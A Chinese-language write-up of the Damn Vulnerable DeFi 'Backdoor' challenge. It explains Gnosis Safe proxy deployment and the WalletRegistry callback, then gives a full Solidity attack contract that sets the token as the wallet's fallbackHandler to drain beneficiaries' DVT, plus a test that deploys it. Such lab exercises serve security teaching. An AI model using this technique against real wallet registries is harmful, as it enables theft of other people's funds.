moon

moon

Build for builders on blockchain
github
twitter

Defi黑客系列:該死的易受攻擊DeFi (十一) - 後門

Damn Vulnerable DeFi 是一個 Defi 智能合約攻擊挑戰系列。內容包括了閃電貸攻擊、借貸池、鏈上預言機等。在開始之前你需要具備 Solidity 以及 JavaScipt 相關的技能。針對每一題你需要做的就是保證該題的單元測試能夠通過。

題目鏈接:https://www.damnvulnerabledefi.xyz/challenges/11.html

題目描述:

為了激勵創建更安全的錢包,有人部署了 WalletRegistry 合約。當有人在該合約中註冊為受益人並創建 Gnosis Safe 錢包,將獲得 10 個 DVT 代幣到錢包中

目前有四人登記為受益人:Alice、Bob、Charlie 和 David。WalletRegistry 合約中有 40 個 DVT。

你的目標是從盜取這 40 個 DVT

開始之前你需要先了解 代理合約多簽錢包EVM 內存佈局Solidity 內聯匯編 相關的知識。此處不再贅述。

如果你已經了解了上述內容,接下來就可以正式開始了。

不過在此之前還是需要先介紹下 Gnosis Safe 1.3.0 版本的合約架構。Gnosis Safe 在部署階段有三個重要的合約

  • GnosisSafeProxyFactory
  • GnosisSafeProxy
  • GnosisSafe

GnosisSafe 是處理多簽邏輯的合約,是提前部署好的合約。在以太坊主網上的地址是 0xd9Db270c1B5E3Bd161E8c8503c55cEABeE709552

當我們在 Gnosis Safe 網站上創建多簽錢包時,交互的合約實際上是 GnosisSafeProxyFactory,該合約會創建並部署 GnosisSafeProxy 代理合約,代理合約的邏輯合約地址是已部署好的 GnosisSafe 合約。所以我們創建的多簽錢包實際上是 GnosisSafeProxy 代理合約。

gonsis-proxy

由於採用的這種代理模式,將數據都存儲在 GnosisSafeProxy 合約中,有以下優點:

  • 由於多簽邏輯是可以重用的,代理模式避免了邏輯合約重複被部署。可以為用戶創建多簽錢包節省 gas
  • 數據將保存在用戶自己創建的錢包中,而不是統一存儲在邏輯合約中,做到每個多簽錢包的數據和邏輯分離。

GnosisSafeProxyFactory 部署代理合約核心方法是

function deployProxy(
    address _singleton,
    bytes memory initializer,
    bytes32 salt
) internal returns (GnosisSafeProxy proxy) {
    require(isContract(_singleton), "Singleton contract not deployed");

    bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
    // solhint-disable-next-line no-inline-assembly
    assembly {
        proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
    }
    require(address(proxy) != address(0), "Create2 call failed");

    if (initializer.length > 0) {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
                revert(0, 0)
            }
        }
    }
}

該方法的參數如下:

  • _singleton :已部署的邏輯合約地址
  • initializer :邏輯合約 GnosisSafeProxysetup 方法的 calldata
  • salt :部署合約的 salt 值,長度為 32 字節

函數內部使用了兩個內聯匯編函數 create2call,你可以在 evm.codes 查看相關的內容。

create2(value, offset, size, salt) 部署一個合約,並返回合約地址

  • value:部署時發送到合約賬戶 ETH 數量,單位是 wei
  • offset:內存的起始位置
  • size:從起始位置開始的長度
  • salt:部署合約的 salt 值,長度為 32 字節

call(gas, address, value, argsOffset, argsSize, retOffset, retSize) 調用合約方法

  • gas:需要的 gas
  • address:目標合約地址
  • value:調用目標合約轉入的 ETH
  • argsOffset:發送的 calldata 在內存的起始位置
  • argsSize:發送的 calldata 的長度
  • retOffset:返回值寫入內存的開始位置
  • retSize:返回值的長度

由於 deployProxyinternal,所以 GnosisSafeProxyFactory 合約暴露了以下兩個方法供外部調用去創建代理合約

// 通過 nonce 創建代理合約
function createProxyWithNonce(
    address _singleton,
    bytes memory initializer,
    uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
    // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
    bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
    proxy = deployProxy(_singleton, initializer, salt);
    emit ProxyCreation(proxy, _singleton);
}

// 創建代理合約並回調 callback 合約的 proxyCreated 方法
function createProxyWithCallback(
    address _singleton,
    bytes memory initializer,
    uint256 saltNonce,
    IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
    uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
    proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
    if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}

再回到題目中,合約 WalletRegistry 中繼承了 IProxyCreationCallback,在上面的方法 createProxyWithCallback 有這樣一行代碼

if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);

callback 存在時,調用其 proxyCreated 方法。即如果 callbackWalletRegistry 中則調用其 proxyCreated 方法:

function proxyCreated(
    GnosisSafeProxy proxy, // 代理合約
    address singleton, // 邏輯合約地址
    bytes calldata initializer, // 初始化的數據
    uint256
) external override {
    // 確保合約有 10 個 DVT
    require(token.balanceOf(address(this)) >= TOKEN_PAYMENT, "Not enough funds to pay");
    // 獲取錢包地址
    address payable walletAddress = payable(proxy);

    // 確保調用者是 GnosisSafeProxyFactory
    require(msg.sender == walletFactory, "Caller must be factory");
    require(singleton == masterCopy, "Fake mastercopy used");

    // 確保 initializer 前四個字節是 GnosisSafe.setup 函數的 selector
    require(bytes4(initializer[:4]) == GnosisSafe.setup.selector, "Wrong initialization");

    require(GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD, "Invalid threshold");
    require(GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS, "Invalid number of owners");       

    // 獲取錢包的所有者
    address walletOwner = GnosisSafe(walletAddress).getOwners()[0];
    // 確保 owner 是受益人(只有受益人才能是錢包的所有者)
    require(beneficiaries[walletOwner], "Owner is not registered as beneficiary");

    // 取消 owner 作為受益人
    _removeBeneficiary(walletOwner);

    // 記錄 owner 擁有的錢包地址
    wallets[walletOwner] = walletAddress;

    // 轉入 10 DVT 到多簽錢包中
    token.transfer(walletAddress, TOKEN_PAYMENT);        
}

到目前為止可以做個總結:

  • WalletRegistry 合約可以添加受益人地址,受益人可以創建多簽錢包,並將 10 個 DVT 轉到錢包地址中
  • 創建多簽錢包需要調用 GnosisSafeProxyFactory 合約的 createProxyWithCallback 方法
    • 調用 createProxyWithCallback 可以傳入 callback 用來回調 proxyCreated 方法
    • 創建錢包的過程中如果存在 initializer,則會調用。

目前有四個受益人,所以可以創建四個多簽錢包,每個錢包中有 10 個 DVT

目標是從多簽錢包中取出這些 DVT。但是我們並不是錢包的所有人,因此要想辦法可以轉移 DVT 到自己的賬戶中。

關鍵還是在於 initializer 的值。前面提到過 initializer 是邏輯合約 GnosisSafesetup 方法的 calldata,創建錢包時會調用該方法, setup 方法的實現如下

function setup(
    address[] calldata _owners,
    uint256 _threshold,
    address to,
    bytes calldata data,
    address fallbackHandler,
    address paymentToken,
    uint256 payment,
    address payable paymentReceiver
) external {
    // setupOwners checks if the Threshold is already set, therefore preventing that this method is called twice
    setupOwners(_owners, _threshold);
    if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
    // As setupOwners can only be called if the contract has not been initialized we don't need a check for setupModules
    setupModules(to, data);

    if (payment > 0) {
        // To avoid running into issues with EIP-170 we reuse the handlePayment function (to avoid adjusting code of that has been verified we do not adjust the method itself)
        // baseGas = 0, gasPrice = 1 and gas = payment => amount = (payment + 0) * 1 = payment
        handlePayment(payment, 0, 1, paymentToken, paymentReceiver);
    }
    emit SafeSetup(msg.sender, _owners, _threshold, to, fallbackHandler);
}

方法參數:

  • _owners:錢包所有者們
  • _threshold:發起交易時,最少需要同意的人數
  • to:執行 delegtecall 合約地址
  • data:執行 delegtecallcalldata
  • fallbackHandler:調用不存在的方法時的處理合約
  • paymentToken:支付的 token 地址
  • payment:支付額
  • paymentReceiver:支付的接收人

fallbackHandler 是一個合約地址,當我們調用不存在的方法時會調用 fallbackHandler 中的同名方法,如調用 transfer 時, GnosisSafe 中沒有此方法,故會調用 fallbackHandler.transfer。因此可以將 fallbackHandler 設置為 DVT 合約的地址。並傳入相關參數。

以下是攻擊合約 BackdoorAttack.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";

import "../backdoor/WalletRegistry.sol";

interface IGnosisSafe {
  function setup(
    address[] calldata _owners,
    uint256 _threshold,
    address to,
    bytes calldata data,
    address fallbackHandler,
    address paymentToken,
    uint256 payment,
    address payable paymentReceiver
  ) external;
}

contract BackdoorAttack {
  constructor (
    address registry,
    address masterCopy,
    GnosisSafeProxyFactory walletFactory,
    IERC20 token,
    address[] memory beneficiaries
  ) {
    // 遍歷受益人, 創建錢包
    for (uint i = 0; i < beneficiaries.length; i++) {
      address beneficiary = beneficiaries[i];
      address[] memory owners = new address[](1);
      owners[0] = beneficiary;

      bytes memory initializer = abi.encodeWithSelector(
          IGnosisSafe.setup.selector, // setup 方法的 selector
          // 以下是 setup 方法的參數
          owners, // _owners
          1, // _threshold
          address(0), // to
          hex"00", // data
          address(token), // fallbackHandler
          address(0), // paymentToken
          0, // paymentToken
          address(0x0) // paymentReceiver
      );
      
      // 創建錢包
      GnosisSafeProxy proxy = walletFactory.createProxyWithCallback(
        masterCopy, // 邏輯合約地址
        initializer, // setup calldata
        0, // saltNonce
        WalletRegistry(registry) // callback
      );
      address wallet = address(proxy);
      
      // 調用錢包(代理合約)的 transfer 方法,相當於調用邏輯合約的 transfer 方法。即相當於調用 fallbackHandler.transfer,也即 token.transfer
      IERC20(wallet).transfer(msg.sender, token.balanceOf(wallet));
    }
  }
}

在測試文件 backdoor.challenge.js 添加攻擊入口

it('Exploit', async function () {
  await ethers.getContractFactory('BackdoorAttack', attacker).then(contract => contract.deploy(
    this.walletRegistry.address,
    this.masterCopy.address,
    this.walletFactory.address,
    this.token.address,
    users
  ))
})

最後執行 yarn backdoor 測試通過!

完整代碼

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。